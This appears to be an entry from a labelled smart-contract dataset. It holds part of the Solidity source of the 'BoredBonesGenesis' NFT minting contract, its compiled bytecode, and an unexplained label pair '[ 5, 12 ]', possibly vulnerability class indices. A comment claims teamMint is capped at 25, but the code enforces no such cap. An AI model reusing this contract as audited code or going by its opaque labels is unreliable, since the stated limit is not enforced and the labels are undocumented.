current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.8.0 <0.9.0; contract BoredBonesGenesis is ERC721Enumerable, Ownable, nonReentrant { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.1 ether; bytes32 public MerkleRoot; uint256 public constant maxSupply = 500; uint256 public maxMintAmount = 1; uint256 public maxPresaleAmount = 1; bool public saleActive = false; bool public revealed = false; // borrowed from doggoverse by ngenator.eth struct OwnerMintCount { uint128 presaleMinted; uint128 freeClaims; } mapping(address => OwnerMintCount) public ownerMintCount; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable reentryLock { require(saleActive, "public sale is not active"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(msg.value >= _mintAmount * cost, "not enough ETH sent"); for (uint256 i = 0; i < _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintPresale(bytes32[] memory _proof, bytes1 _maxAmountKey, uint256 _mintAmount) public payable reentryLock { require(MerkleRoot > 0x00, "claim period not started!"); uint256 supply = totalSupply(); require(supply + _mintAmount < maxSupply + 1, "max collection limit exceeded"); bytes32 senderHash = keccak256(abi.encodePacked(msg.sender, _maxAmountKey)); bool proven = MerkleProof.verify(_proof, MerkleRoot, senderHash); require(proven, "unauthorized proof-key combo for sender"); uint _maxAmount = uint8(_maxAmountKey); if(msg.value == 0) { // FREE MINT REQUEST require(ownerMintCount[msg.sender].freeClaims + _mintAmount < _maxAmount + 1, "max free NFT claims exceeded"); ownerMintCount[msg.sender].freeClaims += uint128(_mintAmount); } else { // PRE-SALE require(ownerMintCount[msg.sender].presaleMinted + _mintAmount < maxPresaleAmount + 1, "max NFT pre-sales exceeded"); require(msg.value >= _mintAmount * cost, "not enought ETH sent"); ownerMintCount[msg.sender].presaleMinted += uint128(_mintAmount); } for (uint256 i = 0; i < _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function checkProofWithKey(bytes32[] memory proof, bytes memory key) public view returns(bool) { bytes32 senderHash = keccak256(abi.encodePacked(msg.sender, key)); bytes32 _MerkleRoot32 = MerkleRoot; bool proven = MerkleProof.verify(proof, _MerkleRoot32, senderHash); return proven; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function flipSaleState() public onlyOwner { saleActive = !saleActive; } function flipReveal() public onlyOwner { revealed = !revealed; } function setMerkle_Root(bytes32 _MerkleRoot) public onlyOwner { MerkleRoot = _MerkleRoot; } function teamMint(address _receiver, uint256 _mintAmount) public payable onlyOwner { uint256 supply = totalSupply(); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); for (uint256 i = 0; i < _mintAmount; i++) { _safeMint(_receiver, supply + i); } } // teamMint max = 25 function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106102675760003560e01c806368428a1b11610144578063b88d4fde116100b6578063d5abeb011161007a578063d5abeb01146106fe578063da3ef23f14610714578063e04985fc14610734578063e985e9c514610747578063f2c4ce1e14610790578063f2fde38b146107b057600080fd5b8063b88d4fde14610673578063c4eb85a914610693578063c6682862146106b3578063c87b56dd146106c8578063d0516b82146106e857600080fd5b80637f00c7a6116101085780637f00c7a6146105da5780638da5cb5b146105fa57806395d89b4114610618578063a0712d681461062d578063a22cb46514610640578063add5a4fa1461066057600080fd5b806368428a1b146105565780636c0360eb1461057057806370a0823114610585578063715018a6146105a55780637e7641c3146105ba57600080fd5b80632f745c59116101dd578063438b6300116101a1578063438b63001461048a57806344a0d68a146104b75780634f6ccce7146104d757806351830227146104f757806355f804b3146105165780636352211e1461053657600080fd5b80632f745c591461041857806334918dfd146104385780633b84d9c61461044d5780633ccfd60b1461046257806342842e0e1461046a57600080fd5b8063095ea7b31161022f578063095ea7b314610371578063132d3f6a1461039357806313faede6146103b757806318160ddd146103cd578063239c70ae146103e257806323b872dd146103f857600080fd5b806301ffc9a71461026c57806306fdde03146102a1578063081812fc146102c3578063081c8c44146102fb5780630877a9ab14610310575b600080fd5b34801561027857600080fd5b5061028c610287366004612737565b6107d0565b60405190151581526020015b60405180910390f35b3480156102ad57600080fd5b506102b66107fb565b6040516102989190612959565b3480156102cf57600080fd5b506102e36102de36600461271e565b61088d565b6040516001600160a01b039091168152602001610298565b34801561030757600080fd5b506102b661091a565b34801561031c57600080fd5b5061035161032b3660046124fb565b600e602052600090815260409020546001600160801b0380821691600160801b90041682565b604080516001600160801b03938416815292909116602083015201610298565b34801561037d57600080fd5b5061039161038c366004612629565b6109a8565b005b34801561039f57600080fd5b506103a9600a5481565b604051908152602001610298565b3480156103c357600080fd5b506103a960095481565b3480156103d957600080fd5b506002546103a9565b3480156103ee57600080fd5b506103a9600b5481565b34801561040457600080fd5b50610391610413366004612549565b610abe565b34801561042457600080fd5b506103a9610433366004612629565b610aef565b34801561044457600080fd5b50610391610ba2565b34801561045957600080fd5b50610391610be0565b610391610c27565b34801561047657600080fd5b50610391610485366004612549565b610ca9565b34801561049657600080fd5b506104aa6104a53660046124fb565b610cc4565b6040516102989190612915565b3480156104c357600080fd5b506103916104d236600461271e565b610d66565b3480156104e357600080fd5b506103a96104f236600461271e565b610d95565b34801561050357600080fd5b50600d5461028c90610100900460ff1681565b34801561052257600080fd5b50610391610531366004612771565b610e02565b34801561054257600080fd5b506102e361055136600461271e565b610e43565b34801561056257600080fd5b50600d5461028c9060ff1681565b34801561057c57600080fd5b506102b6610ecf565b34801561059157600080fd5b506103a96105a03660046124fb565b610edc565b3480156105b157600080fd5b50610391610fb4565b3480156105c657600080fd5b5061028c6105d53660046126ba565b610fea565b3480156105e657600080fd5b506103916105f536600461271e565b611036565b34801561060657600080fd5b506005546001600160a01b03166102e3565b34801561062457600080fd5b506102b6611065565b61039161063b36600461271e565b611074565b34801561064c57600080fd5b5061039161065b3660046125ed565b6112d6565b61039161066e366004612629565b61139b565b34801561067f57600080fd5b5061039161068e366004612585565b611457565b34801561069f57600080fd5b506103916106ae36600461271e565b611489565b3480156106bf57600080fd5b506102b66114b8565b3480156106d457600080fd5b506102b66106e336600461271e565b6114c5565b3480156106f457600080fd5b506103a9600c5481565b34801561070a57600080fd5b506103a96101f481565b34801561072057600080fd5b5061039161072f366004612771565b611634565b610391610742366004612653565b611671565b34801561075357600080fd5b5061028c610762366004612516565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b34801561079c57600080fd5b506103916107ab366004612771565b611a9e565b3480156107bc57600080fd5b506103916107cb3660046124fb565b611adb565b60006001600160e01b0319821663780e9d6360e01b14806107f557506107f582611b73565b92915050565b60606000805461080a90612b79565b80601f016020809104026020016040519081016040528092919081815260200182805461083690612b79565b80156108835780601f1061085857610100808354040283529160200191610883565b820191906000526020600020905b81548152906001019060200180831161086657829003601f168201915b5050505050905090565b600061089882611bc3565b6108fe5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600360205260409020546001600160a01b031690565b6008805461092790612b79565b80601f016020809104026020016040519081016040528092919081815260200182805461095390612b79565b80156109a05780601f10610975576101008083540402835291602001916109a0565b820191906000526020600020905b81548152906001019060200180831161098357829003601f168201915b505050505081565b60006109b382610e43565b9050806001600160a01b0316836001600160a01b03161415610a215760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016108f5565b336001600160a01b0382161480610a3d5750610a3d8133610762565b610aaf5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016108f5565b610ab98383611c0d565b505050565b610ac83382611c7b565b610ae45760405162461bcd60e51b81526004016108f590612a3e565b610ab9838383611d65565b6000610afa83610edc565b8210610b185760405162461bcd60e51b81526004016108f59061296c565b6000805b600254811015610b895760028181548110610b3957610b39612c0f565b6000918252602090912001546001600160a01b0386811691161415610b775783821415610b695791506107f59050565b81610b7381612bb4565b9250505b80610b8181612bb4565b915050610b1c565b5060405162461bcd60e51b81526004016108f59061296c565b6005546001600160a01b03163314610bcc5760405162461bcd60e51b81526004016108f590612a09565b600d805460ff19811660ff90911615179055565b6005546001600160a01b03163314610c0a5760405162461bcd60e51b81526004016108f590612a09565b600d805461ff001981166101009182900460ff1615909102179055565b6005546001600160a01b03163314610c515760405162461bcd60e51b81526004016108f590612a09565b604051600090339047908381818185875af1925050503d8060008114610c93576040519150601f19603f3d011682016040523d82523d6000602084013e610c98565b606091505b5050905080610ca657600080fd5b50565b610ab983838360405180602001604052806000815250611457565b60606000610cd183610edc565b905060008167ffffffffffffffff811115610cee57610cee612c25565b604051908082528060200260200182016040528015610d17578160200160208202803683370190505b50905060005b82811015610d5e57610d2f8582610aef565b828281518110610d4157610d41612c0f565b602090810291909101015280610d5681612bb4565b915050610d1d565b509392505050565b6005546001600160a01b03163314610d905760405162461bcd60e51b81526004016108f590612a09565b600955565b6002546000908210610dfe5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016108f5565b5090565b6005546001600160a01b03163314610e2c5760405162461bcd60e51b81526004016108f590612a09565b8051610e3f906006906020840190612351565b5050565b60008060028381548110610e5957610e59612c0f565b6000918252602090912001546001600160a01b03169050806107f55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016108f5565b6006805461092790612b79565b60006001600160a01b038216610f475760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016108f5565b6000805b600254811015610fad57836001600160a01b031660028281548110610f7257610f72612c0f565b6000918252602090912001546001600160a01b03161415610f9b5781610f9781612bb4565b9250505b80610fa581612bb4565b915050610f4b565b5092915050565b6005546001600160a01b03163314610fde5760405162461bcd60e51b81526004016108f590612a09565b610fe86000611ebb565b565b60008033836040516020016110009291906127e6565b6040516020818303038152906040528051906020012090506000600a549050600061102c868385611f0d565b9695505050505050565b6005546001600160a01b031633146110605760405162461bcd60e51b81526004016108f590612a09565b600b55565b60606001805461080a90612b79565b600554600160a01b900460ff16156110ce5760405162461bcd60e51b815260206004820181905260248201527f63616e6e6f74207265656e7465722061206c6f636b65642066756e6374696f6e60448201526064016108f5565b6005805460ff60a01b1916600160a01b179055600d5460ff166111335760405162461bcd60e51b815260206004820152601960248201527f7075626c69632073616c65206973206e6f74206163746976650000000000000060448201526064016108f5565b600061113e60025490565b9050600082116111905760405162461bcd60e51b815260206004820152601b60248201527f6e65656420746f206d696e74206174206c656173742031204e4654000000000060448201526064016108f5565b600b548211156111ee5760405162461bcd60e51b8152602060048201526024808201527f6d6178206d696e7420616d6f756e74207065722073657373696f6e20657863656044820152631959195960e21b60648201526084016108f5565b6101f46111fb8383612aeb565b11156112425760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016108f5565b60095461124f9083612b17565b3410156112945760405162461bcd60e51b81526020600482015260136024820152721b9bdd08195b9bdd59da08115512081cd95b9d606a1b60448201526064016108f5565b60005b828110156112c4576112b2336112ad8385612aeb565b611f23565b806112bc81612bb4565b915050611297565b50506005805460ff60a01b1916905550565b6001600160a01b03821633141561132f5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016108f5565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6005546001600160a01b031633146113c55760405162461bcd60e51b81526004016108f590612a09565b60006113d060025490565b90506101f46113df8383612aeb565b11156114265760405162461bcd60e51b81526020600482015260166024820152751b585e08139195081b1a5b5a5d08195e18d95959195960521b60448201526064016108f5565b60005b828110156114515761143f846112ad8385612aeb565b8061144981612bb4565b915050611429565b50505050565b6114613383611c7b565b61147d5760405162461bcd60e51b81526004016108f590612a3e565b61145184848484611f3d565b6005546001600160a01b031633146114b35760405162461bcd60e51b81526004016108f590612a09565b600a55565b6007805461092790612b79565b60606114d082611bc3565b6115345760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016108f5565b600d54610100900460ff166115d5576008805461155090612b79565b80601f016020809104026020016040519081016040528092919081815260200182805461157c90612b79565b80156115c95780601f1061159e576101008083540402835291602001916115c9565b820191906000526020600020905b8154815290600101906020018083116115ac57829003601f168201915b50505050509050919050565b60006115df611f70565b905060008151116115ff576040518060200160405280600081525061162d565b8061160984611f7f565b600760405160200161161d9392919061281e565b6040516020818303038152906040525b9392505050565b6005546001600160a01b0316331461165e5760405162461bcd60e51b81526004016108f590612a09565b8051610e3f906007906020840190612351565b600554600160a01b900460ff16156116cb5760405162461bcd60e51b815260206004820181905260248201527f63616e6e6f74207265656e7465722061206c6f636b65642066756e6374696f6e60448201526064016108f5565b6005805460ff60a01b1916600160a01b179055600a5461172d5760405162461bcd60e51b815260206004820152601960248201527f636c61696d20706572696f64206e6f742073746172746564210000000000000060448201526064016108f5565b600061173860025490565b90506117476101f46001612aeb565b6117518383612aeb565b1061179e5760405162461bcd60e51b815260206004820152601d60248201527f6d617820636f6c6c656374696f6e206c696d697420657863656564656400000060448201526064016108f5565b6040516bffffffffffffffffffffffff193360601b1660208201526001600160f81b03198416603482015260009060350160405160208183030381529060405280519060200120905060006117f686600a5484611f0d565b9050806118555760405162461bcd60e51b815260206004820152602760248201527f756e617574686f72697a65642070726f6f662d6b657920636f6d626f20666f726044820152661039b2b73232b960c91b60648201526084016108f5565b60f885901c3461193d5761186a816001612aeb565b336000908152600e6020526040902054611895908790600160801b90046001600160801b0316612aeb565b106118e25760405162461bcd60e51b815260206004820152601c60248201527f6d61782066726565204e465420636c61696d732065786365656465640000000060448201526064016108f5565b336000908152600e602052604090208054869190601090611914908490600160801b90046001600160801b0316612ac0565b92506101000a8154816001600160801b0302191690836001600160801b03160217905550611a5c565b600c5461194b906001612aeb565b336000908152600e602052604090205461196f9087906001600160801b0316612aeb565b106119bc5760405162461bcd60e51b815260206004820152601a60248201527f6d6178204e4654207072652d73616c657320657863656564656400000000000060448201526064016108f5565b6009546119c99086612b17565b341015611a0f5760405162461bcd60e51b81526020600482015260146024820152731b9bdd08195b9bdd59da1d08115512081cd95b9d60621b60448201526064016108f5565b336000908152600e602052604081208054879290611a379084906001600160801b0316612ac0565b92506101000a8154816001600160801b0302191690836001600160801b031602179055505b60005b85811015611a8757611a75336112ad8388612aeb565b80611a7f81612bb4565b915050611a5f565b50506005805460ff60a01b19169055505050505050565b6005546001600160a01b03163314611ac85760405162461bcd60e51b81526004016108f590612a09565b8051610e3f906008906020840190612351565b6005546001600160a01b03163314611b055760405162461bcd60e51b81526004016108f590612a09565b6001600160a01b038116611b6a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108f5565b610ca681611ebb565b60006001600160e01b031982166380ac58cd60e01b1480611ba457506001600160e01b03198216635b5e139f60e01b145b806107f557506301ffc9a760e01b6001600160e01b03198316146107f5565b600254600090821080156107f5575060006001600160a01b031660028381548110611bf057611bf0612c0f565b6000918252602090912001546001600160a01b0316141592915050565b600081815260036020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611c4282610e43565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611c8682611bc3565b611ce75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016108f5565b6000611cf283610e43565b9050806001600160a01b0316846001600160a01b03161480611d2d5750836001600160a01b0316611d228461088d565b6001600160a01b0316145b80611d5d57506001600160a01b0380821660009081526004602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611d7882610e43565b6001600160a01b031614611de05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016108f5565b6001600160a01b038216611e425760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016108f5565b611e4d600082611c0d565b8160028281548110611e6157611e61612c0f565b6000918252602082200180546001600160a01b0319166001600160a01b03938416179055604051839285811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a4505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600082611f1a858461207d565b14949350505050565b610e3f8282604051806020016040528060008152506120e9565b611f48848484611d65565b611f548484848461211c565b6114515760405162461bcd60e51b81526004016108f5906129b7565b60606006805461080a90612b79565b606081611fa35750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611fcd5780611fb781612bb4565b9150611fc69050600a83612b03565b9150611fa7565b60008167ffffffffffffffff811115611fe857611fe8612c25565b6040519080825280601f01601f191660200182016040528015612012576020820181803683370190505b5090505b8415611d5d57612027600183612b36565b9150612034600a86612bcf565b61203f906030612aeb565b60f81b81838151811061205457612054612c0f565b60200101906001600160f81b031916908160001a905350612076600a86612b03565b9450612016565b600081815b8451811015610d5e57600085828151811061209f5761209f612c0f565b602002602001015190508083116120c557600083815260208290526040902092506120d6565b600081815260208490526040902092505b50806120e181612bb4565b915050612082565b6120f38383612229565b612100600084848461211c565b610ab95760405162461bcd60e51b81526004016108f5906129b7565b60006001600160a01b0384163b1561221e57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906121609033908990889088906004016128e2565b602060405180830381600087803b15801561217a57600080fd5b505af19250505080156121aa575060408051601f3d908101601f191682019092526121a791810190612754565b60015b612204573d8080156121d8576040519150601f19603f3d011682016040523d82523d6000602084013e6121dd565b606091505b5080516121fc5760405162461bcd60e51b81526004016108f5906129b7565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611d5d565b506001949350505050565b6001600160a01b03821661227f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016108f5565b61228881611bc3565b156122d55760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016108f5565b6002805460018101825560009182527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0385169081179091556040518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461235d90612b79565b90600052602060002090601f01602090048101928261237f57600085556123c5565b82601f1061239857805160ff19168380011785556123c5565b828001600101855582156123c5579182015b828111156123c55782518255916020019190600101906123aa565b50610dfe9291505b80821115610dfe57600081556001016123cd565b600067ffffffffffffffff8311156123fb576123fb612c25565b61240e601f8401601f1916602001612a8f565b905082815283838301111561242257600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b038116811461245057600080fd5b919050565b600082601f83011261246657600080fd5b8135602067ffffffffffffffff82111561248257612482612c25565b8160051b612491828201612a8f565b8381528281019086840183880185018910156124ac57600080fd5b600093505b858410156124cf5780358352600193909301929184019184016124b1565b50979650505050505050565b600082601f8301126124ec57600080fd5b61162d838335602085016123e1565b60006020828403121561250d57600080fd5b61162d82612439565b6000806040838503121561252957600080fd5b61253283612439565b915061254060208401612439565b90509250929050565b60008060006060848603121561255e57600080fd5b61256784612439565b925061257560208501612439565b9150604084013590509250925092565b6000806000806080858703121561259b57600080fd5b6125a485612439565b93506125b260208601612439565b925060408501359150606085013567ffffffffffffffff8111156125d557600080fd5b6125e1878288016124db565b91505092959194509250565b6000806040838503121561260057600080fd5b61260983612439565b91506020830135801515811461261e57600080fd5b809150509250929050565b6000806040838503121561263c57600080fd5b61264583612439565b946020939093013593505050565b60008060006060848603121561266857600080fd5b833567ffffffffffffffff81111561267f57600080fd5b61268b86828701612455565b93505060208401356001600160f81b0319811681146126a957600080fd5b929592945050506040919091013590565b600080604083850312156126cd57600080fd5b823567ffffffffffffffff808211156126e557600080fd5b6126f186838701612455565b9350602085013591508082111561270757600080fd5b50612714858286016124db565b9150509250929050565b60006020828403121561273057600080fd5b5035919050565b60006020828403121561274957600080fd5b813561162d81612c3b565b60006020828403121561276657600080fd5b815161162d81612c3b565b60006020828403121561278357600080fd5b813567ffffffffffffffff81111561279a57600080fd5b8201601f810184136127ab57600080fd5b611d5d848235602084016123e1565b600081518084526127d2816020860160208601612b4d565b601f01601f19169290920160200192915050565b6bffffffffffffffffffffffff198360601b16815260008251612810816014850160208701612b4d565b919091016014019392505050565b6000845160206128318285838a01612b4d565b8551918401916128448184848a01612b4d565b8554920191600090600181811c908083168061286157607f831692505b85831081141561287f57634e487b7160e01b85526022600452602485fd5b80801561289357600181146128a4576128d1565b60ff198516885283880195506128d1565b60008b81526020902060005b858110156128c95781548a8201529084019088016128b0565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061102c908301846127ba565b6020808252825182820181905260009190848201906040850190845b8181101561294d57835183529284019291840191600101612931565b50909695505050505050565b60208152600061162d60208301846127ba565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612ab857612ab8612c25565b604052919050565b60006001600160801b03808316818516808303821115612ae257612ae2612be3565b01949350505050565b60008219821115612afe57612afe612be3565b500190565b600082612b1257612b12612bf9565b500490565b6000816000190483118215151615612b3157612b31612be3565b500290565b600082821015612b4857612b48612be3565b500390565b60005b83811015612b68578181015183820152602001612b50565b838111156114515750506000910152565b600181811c90821680612b8d57607f821691505b60208210811415612bae57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bc857612bc8612be3565b5060010190565b600082612bde57612bde612bf9565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610ca657600080fdfea2646970667358221220f83bef1a9140d4c49af68fe7bed08876c0d506d6676290a19bf2514afc1afa3964736f6c63430008070033
[ 5, 12 ]